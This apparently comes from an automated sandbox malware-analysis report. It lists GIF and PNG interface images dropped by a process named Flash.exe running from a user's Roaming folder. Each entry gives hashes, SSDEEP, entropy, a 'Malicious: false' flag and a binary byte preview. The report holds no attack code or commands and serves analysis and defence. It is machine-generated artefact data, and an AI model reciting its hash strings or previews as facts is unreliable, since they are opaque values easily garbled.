SHA-512:	9F1A11B8DE742A5816D5E6C9F0632D617ABB0138BC8E8F253461738EBE79133883A8B087C7CE455B3CB60AB52C59BE1733C16E1A0A051F6C2C1CAFAFAE4B3A7E
Malicious:	false
Preview:	GIF89aX.X....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="ht

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\loading_200.gif Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	GIF image data, version 89a, 120 x 120
Category:	dropped
Size (bytes):	13341
Entropy (8bit):	7.723497323649122
Encrypted:	false
SSDEEP:	192:lPFosj7r1pj7G2UM9f65FxgsJsbLM8LHEmoTlqpSeEMiHcUj7BcGoW:TrLG2f9f65F1JsbxHWgpSNR8Ui5W
MD5:	70EB3F6FEA962D9D576C4DCB92669F4D
SHA1:	A8D959C770E8163AA169AEC1306C44A314E2B1E3
SHA-256:	1DB37E2EA421DE8964C159237C98F85C27A9A9E7ADBD59EFA4C6C95E705C29BC
SHA-512:	BC2640DE0FEE80C06F0A506BA1A91551B4405F462744B4175F1C524C33CEDF000EA8A87C5CAC8DC1B66F64FA3E591C4BF63FDE1932D311D544192EE784C3E15F
Malicious:	false
Preview:	GIF89ax.x....V..244T..6=C356U..U..>ObMt.T..V..Il.48<9EQ6<B@VlU..Oz.R..;HVAWnU..3683575;@R..:FS=N`Hj.T..C\wHi.Oy.S..245BZs6=D9DO7?G7>FP{.Ko.@Uk47:Mu.Mv.Nw.BYrHh.7?F59=AXp48;345S..Nw.S..Jn.Ea.Nw.Fd.?SgC]x:GT49=Gf.D^zIk.Gf.Fc.;IW?RfAXo5:>Oz.P\|.=O`9DN?Sh3698BK5;A<JZ<L]@Vm<L[Oy.8CMT..Eb.?RgT..Ko.T..7>E49<Kp.Mu.R..Ij.B[t=N_:FREa~=M^O{.479B[u8AJD`}Kq.AYqIk.8AKFd.R..C]yQ..;JY>Pc9CN9EP>Pb=OaFe.R..Il.Kp.Jm.Jn.6>ELs.Ge.Q..;IXP}.<M]Gg.:GSD_{P}.Q~.Nx.Fc.?Ti<K[7@I>Qd<L\Nx.5:?Q~.D_\|8@INv.Jo.@Tj6<A7@H<KZLr.:GUD^{AWoLt.Lq.:HULs.Eb.8BLBZtGg.Ec.Jm.S..>QeP\|.V..C[vS..Lr.D`\|Lr.U..Hh.C\vQ..P~.Q..V..233...................................................................................................................................................................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="ht

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\logo_top_left_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 39 x 64, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2065
Entropy (8bit):	7.36327968652514
Encrypted:	false
SSDEEP:	48:pccvnLcGpYXJ3GSNVFMI6fShqzAxKdP6BMFj8k3SNVQCQ1km8:OMJY/NVFM/f0zKdTjMVE1V8
MD5:	965DE219A6621520024BC81E59E8F482
SHA1:	3F05B6F6BA363C3D5EAC1566472B24DF6BF449B0
SHA-256:	B7C3FB01E1EA0C71F26917DB34739C2729182EBE7C2B1691B1BACF843B7A4A51
SHA-512:	03D26622EF619C173EE99A4CC561521D30E4B419BFB7709E847F8239271293BAC5BF9071BCA1AE81168CB08DEE0C282B77B2819C4B40647FEE7C854F0A30AD65
Malicious:	false
Preview:	.PNG........IHDR...'...@......0......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d310b992-d270-4e81-a192-9dd67f063430" xmpMM:DocumentID="xmp.did:CD2525E7582111E49545F4DB19776EDD" xmpMM:InstanceID="xmp.iid:CD2525E6582111E49545F4DB19776EDD" xmp:CreatorTool="Adobe Photoshop CC Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:17d6d969-e92c-af41-96a6-6d27762b7206" stRef:documentID="adobe:docid:photoshop:748ae814-5820-11e4-bf1a-bb734b2b9383"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>e......(IDATx.b\|+..@w..0.`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\logo_top_left_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 49 x 80, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2261
Entropy (8bit):	6.6043348062758644
Encrypted:	false
SSDEEP:	48:bjRyzo7FD4knA9WIY9q/c0f1KPX3GPSPHfLS3cH0xJggm5mJYtr05eL:bjRIo7F8knmWIYI/9APmPuHfLlH0fgge
MD5:	88F76BD646807AF327F24112A4343C11
SHA1:	5F582326C68A4C1888F912AF82099769DBE82C01
SHA-256:	278135D5441C8655721858CE0FA7A57193D2CA8938EAEFC7A9B2154436C4372B
SHA-512:	E36FC91B2CC4FCF6ABE8B341C3FE131AAC8D621EE65AD378F67BEC90EE8690897B875C26E0E1F369226A2ABED211693372D12D6F530C5C9CB6CD8923B7CE5E4B
Malicious:	false
Preview:	.PNG........IHDR...1...P......4......pHYs...#...#.x.?v...SiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2018-03-21T05:07:36+05:30" xmp:ModifyDate="2018-03-22T16:54:03+05:30" xmp:MetadataDate="2018-03-22T16:54:03+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:0b30738d-339e-394f-8070-d65da8a1dedd" xmpMM:DocumentID="adobe:docid:photoshop:d4cc0f32-734b-d54e-afc0-57f8ac95a471" xm

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\logo_top_left_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 58 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2430
Entropy (8bit):	6.767749111444563
Encrypted:	false
SSDEEP:	48:LyRyzo7FD4knA9WIY9U/c0ELX32PHfLS3mH0B3wXWSbsYz1NHJ6bK:LyRIo7F8knmWIYq/GOHfLHH0BVysYhNH
MD5:	5C4789301985D768DBBC00CC19AF61FA
SHA1:	FCFF4DE670B646E02BB760A95F7051582B54DE59
SHA-256:	A97690BC34C82048ADE2573DE7DD376AFA087D645B1458310FC5625BDEEEB6A7
SHA-512:	A5334A737C7828D1F8B09B60973C5BA542705858F1F4A940CECD5C96C8DF026D78C70B126FBC40F4DAAAACD3695AC182CE61A6606D6C236C3567A459064E1AE4
Malicious:	false
Preview:	.PNG........IHDR...:...`.....L.a.....pHYs...#...#.x.?v...SiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2018-03-21T05:07:36+05:30" xmp:ModifyDate="2018-03-22T16:43:15+05:30" xmp:MetadataDate="2018-03-22T16:43:15+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:9fe52f98-c19f-cb41-b9e2-a0da305631e2" xmpMM:DocumentID="adobe:docid:photoshop:919be730-150c-504d-bf7e-62d89e829fd5" xm

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\logo_top_left_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 78 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2686
Entropy (8bit):	6.961429245296662
Encrypted:	false
SSDEEP:	48:1Ryzo7FD4knA9WIY9K/c00RW5ug3CtPHfLS3XH00kIHjphKxYu9wxhQo7:1RIo7F8knmWIYQ/mRPRxHfLuH0xqjWrg
MD5:	BF14980CAEB10C1E348B9ED3FDFDE8CF
SHA1:	B0EAA5A732C660AC24D1BD7C9A3957AB7CDE3952
SHA-256:	B2475589335959D484C76FF2ECC209C1391C06C4041392988033A6E6DBED9F20
SHA-512:	5AC579EF44B894579BE5D51CE69F6610DCA315FD4C6EBE7F9E19DA708995424EAC582D03924CC7C41757D959F65E4C06CC53FE4D46B0D2291AA8D611B89D334D
Malicious:	false
Preview:	.PNG........IHDR...N..........H_.....pHYs...#...#.x.?v...SiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmp:CreateDate="2018-03-21T05:07:36+05:30" xmp:ModifyDate="2018-03-22T16:41:16+05:30" xmp:MetadataDate="2018-03-22T16:41:16+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:2cd987f6-f979-0141-a9be-651fc00ecc89" xmpMM:DocumentID="adobe:docid:photoshop:04903e5b-b067-f44b-bff1-6dfb31340fa3" xm

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\min_btn_disable_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	6.2414391011281545
Encrypted:	false
SSDEEP:	24:P1hNo7FCWwjx82lY2T36V04PqayJ3VuMmIfGLceUtdmgO:dzo7FDNn2m+UqhJ3EMPfkJUtkH
MD5:	6A4D8D16118E08D16260FB0FA33C9DC9
SHA1:	292BD407CA0EFB316F96A40F0FA096F0046B7DB4
SHA-256:	9B353AA362C9309FA51F1CEDC7E83647891986D6ECB99843A87E6CC03BB28172
SHA-512:	28D8CF13B05581375498E130E0E81465A56A9D2B43B23FB7B0DD8D8A6AD6D72F695B4041369B1101C963133FF95FAF0C2008AC9766BF1A12572F9A360C42512D
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0757D902A43E11E8838ED29BE2A3457A" xmpMM:DocumentID="xmp.did:0757D903A43E11E8838ED29BE2A3457A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0757D900A43E11E8838ED29BE2A3457A" stRef:documentID="xmp.did:0757D901A43E11E8838ED29BE2A3457A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.l.....IDATx.b.sp....g...<...L...F.0.Q..:....s..!J]rJ.0..R\|6..G.0.!.O...t..j..............jvv...ll...... .@v.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\min_btn_disable_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	6.500406532520807
Encrypted:	false
SSDEEP:	24:X1hNo7FCWwjx82lY2T36VhzyJ3VM9OGgRzuJFml5+tH1:lzo7FDNn2muJ3uUnzuml581
MD5:	2FF823C6D1E2124F96BE3F0DBD22377D
SHA1:	329E21B116860EB721C7618FE560A1E3A6E8034F
SHA-256:	2F37AFF1179D24783D2B814D96B8DD61D8B09FEFBE0261B5BB972A997A49536C
SHA-512:	40BA768D573EF20A1D3407F0F50BEA12720E1905E6082041F1B4400274B4A276540287F539DD8F724E543C0EE364410B4211FC62B097B06946588EBB8696CF4E
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:05F4740DA43E11E895439607CECE03B5" xmpMM:DocumentID="xmp.did:05F4740EA43E11E895439607CECE03B5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:05F4740BA43E11E895439607CECE03B5" stRef:documentID="xmp.did:05F4740CA43E11E895439607CECE03B5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>8).....'IDATx...Oj.@...dl0.z.....1.B../RpY...B<.]tS..b)(...0..Z....<.F..O&...G.Sbc[UIL.._].......................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\min_btn_hover_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	6.2632138192911055
Encrypted:	false
SSDEEP:	24:P1hNo7FCWwjx82lY2T36VPRAmyJ3VPzAeGzl5b+Adp6:dzo7FDNn2mgJ3pWlRP6
MD5:	B53055074FF51D0D4E5783AF527B7801
SHA1:	FCFDD37D89B6EA31DF2EBE36066FC5E7629831A9
SHA-256:	210E7881A6BB8D6E66E850D21A1601B1C9D1F556217BEC2965307931F6D0087A
SHA-512:	807D56692BF33BA3C752069901657D346AE34FE69B9E035888C69D2547A557182863907F2DDBE869C4AE1A3454A7EA4FBA7A8148CA34C4D69BCA70994DE8D6DB
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0817D8AAA43E11E88C16DFB9644EF41B" xmpMM:DocumentID="xmp.did:0817D8ABA43E11E88C16DFB9644EF41B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0817D8A8A43E11E88C16DFB9644EF41B" stRef:documentID="xmp.did:0817D8A9A43E11E88C16DFB9644EF41B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx.b.......W.......L...F.0.Q..:....;w. J....0..R\|6..G.0.!.O......b..........~...@..fec.....@.......d'.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\min_btn_hover_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	6.488363764572927
Encrypted:	false
SSDEEP:	24:X1hNo7FCWwjx82lY2T36VqVaoviyJ3VMiMfyfGrLY4SCiWzIPUctu662y:lzo7FDNn2mmNJ3BQtqPFtuGy
MD5:	D062005906B006FEE82BA68017C9A9F0
SHA1:	8DF6B84FC51CA9393A2E2CC290052C84230BC087
SHA-256:	4FF1E61E5B2D3285D8B9D23732AEC4C008D704AD72EAF8EC8F0086D8E18A65D4
SHA-512:	9D9A7537CD8EF5882E309D1BB4D0EEF6E6729D0A80FFF116C5D0D9532F77EE517DFCC1D12E02DC256369E345EA7F8BC8BC5FF36D2A072A4D1D87BD8C0D5C2E3C
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:06A390BFA43E11E881FBD03E8E6071E7" xmpMM:DocumentID="xmp.did:06A390C0A43E11E881FBD03E8E6071E7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:06A390BDA43E11E881FBD03E8E6071E7" stRef:documentID="xmp.did:06A390BEA43E11E881FBD03E8E6071E7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..p....%IDATx...Aj.P........C...U(t..:,.}X(]E.8.."XZ.'.h.X.../..(..q.......w.$.)...1M"......................b.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\min_btn_normal_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	6.250582244240319
Encrypted:	false
SSDEEP:	24:P1hNo7FCWwjx82lY2T36VKl6VyLyJ3VIlPAbbG2ceUtdmgO:dzo7FDNn2mYlWhJ3alYfRJUtkH
MD5:	FA28E5B3C3A79788F46FE136E053398E
SHA1:	98D83F9E7D94916B4E535DDA63DEC0D56810B830
SHA-256:	C8B7047AA5DF3A9BEDD4117A8A95527FCAB823096D8A12869F26AB04A213CD12
SHA-512:	1E3B58A67B99A22E2C3E545FA363AC8C530D2B6163E4C567D927BDA9221D051257F44855ACCFA24011349545A210C6556473AC8BAA2FE16BBBBD3E8A5109C407
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:087B6D99A43E11E8A5AEB7D76F403582" xmpMM:DocumentID="xmp.did:087B6D9AA43E11E8A5AEB7D76F403582"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:087B6D97A43E11E8A5AEB7D76F403582" stRef:documentID="xmp.did:087B6D98A43E11E8A5AEB7D76F403582"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>=$.....IDATx.b.sp....g...<...L...F.0.Q..:....s..!J]rJ.0..R\|6..G.0.!.O...t..j..............jvv...ll...... .@v.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\min_btn_normal_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	6.513942794965482
Encrypted:	false
SSDEEP:	24:X1hNo7FCWwjx82lY2T36VVeK5yJ3VV5EGYRzuJFml5+tH1:lzo7FDNn2mTetJ3TqHzuml581
MD5:	BA47BF9E7DF78C1ECBD3443E9D3F9C71
SHA1:	DD23CAD1FAC118C6619287C480B607361FC435C5
SHA-256:	E5944329EEBBB0A3AF808258C07DC6B0FFEAE7F074C297698953E8F8EDB5C22C
SHA-512:	6A5EE6558C08FA28882AA668D161B9DE011F9DA6441FAEB236AA983D73B1DDF3028C7AD59061B6F9467A196BCDAE628555435A295508C4DC921B93D45D13C529
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:06FDDF4BA43E11E89B73A9F3BFF578CD" xmpMM:DocumentID="xmp.did:06FDDF4CA43E11E89B73A9F3BFF578CD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:06FDDF49A43E11E89B73A9F3BFF578CD" stRef:documentID="xmp.did:06FDDF4AA43E11E89B73A9F3BFF578CD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>$.....'IDATx...Oj.@...dl0.z.....1.B../RpY...B<.]tS..b)(...0..Z....<.F..O&...G.Sbc[UIL.._].......................

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\min_btn_press_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	6.2208562040613335
Encrypted:	false
SSDEEP:	24:P1hNo7FCWwjx82lY2T36VSiuNl4yJ3V5L8A5Gs4vKmPN76:dzo7FDNn2m89J3I6cvKmPNu
MD5:	655DFED9E38D33FB95A7AEC06C534AE8
SHA1:	BA8AF6859C7AAB0F0676212165DEFFDB838F39C5
SHA-256:	F8F79218B108BD1D67E7F9DAF3038B4A08B9BDD83CE9DDC08CCB1158EC6094A6
SHA-512:	A958D5534F0E6F34F7F4D1E6D73A0F54E6192A4695CE49F2288EC58E61E40FD59B3DF80599058B5145AA815776A8DC51C527FE66C002B33C54E94B8231BD906D
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:07B92456A43E11E8ADD6E51EC9641F0E" xmpMM:DocumentID="xmp.did:07B92457A43E11E8ADD6E51EC9641F0E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:07B92454A43E11E8ADD6E51EC9641F0E" stRef:documentID="xmp.did:07B92455A43E11E8ADD6E51EC9641F0E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>O..(....IDATx.b.......g...<...L...F.0.Q..:........R._X8LC....&.Q..:`H9..###.-.....=,.../.!v..9......+...=B.d.....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\min_btn_press_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1204
Entropy (8bit):	6.516675947075583
Encrypted:	false
SSDEEP:	24:X1hNo7FCWwjx82lY2T36VQ+yJ3VA4C8Gphcy7Z7xBSaaJS:lzo7FDNn2moJ3eyQRpaI
MD5:	A146EE7485CF83BC76E520F392475AB3
SHA1:	0F005BF9EB8AC3F8F066E1E130F9DD06334915B8
SHA-256:	DD0F00BF1D398C53FF0DE94DBF4F7DA42483A20E9FFF42BA2196EA5383AC837E
SHA-512:	E82DC261C08D0D4533FD5233618041E9E382C9B81C8163048A629B5566984F962367F867076969B6BCBF3593D8D81AA7AD83F6C6FAAFD18F88B389DE9F5EC48D
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:064B8805A43E11E8ADCBDBCF09E7F4A6" xmpMM:DocumentID="xmp.did:064B8806A43E11E8ADCBDBCF09E7F4A6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:064B8803A43E11E8ADCBDBCF09E7F4A6" stRef:documentID="xmp.did:064B8804A43E11E8ADCBDBCF09E7F4A6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket 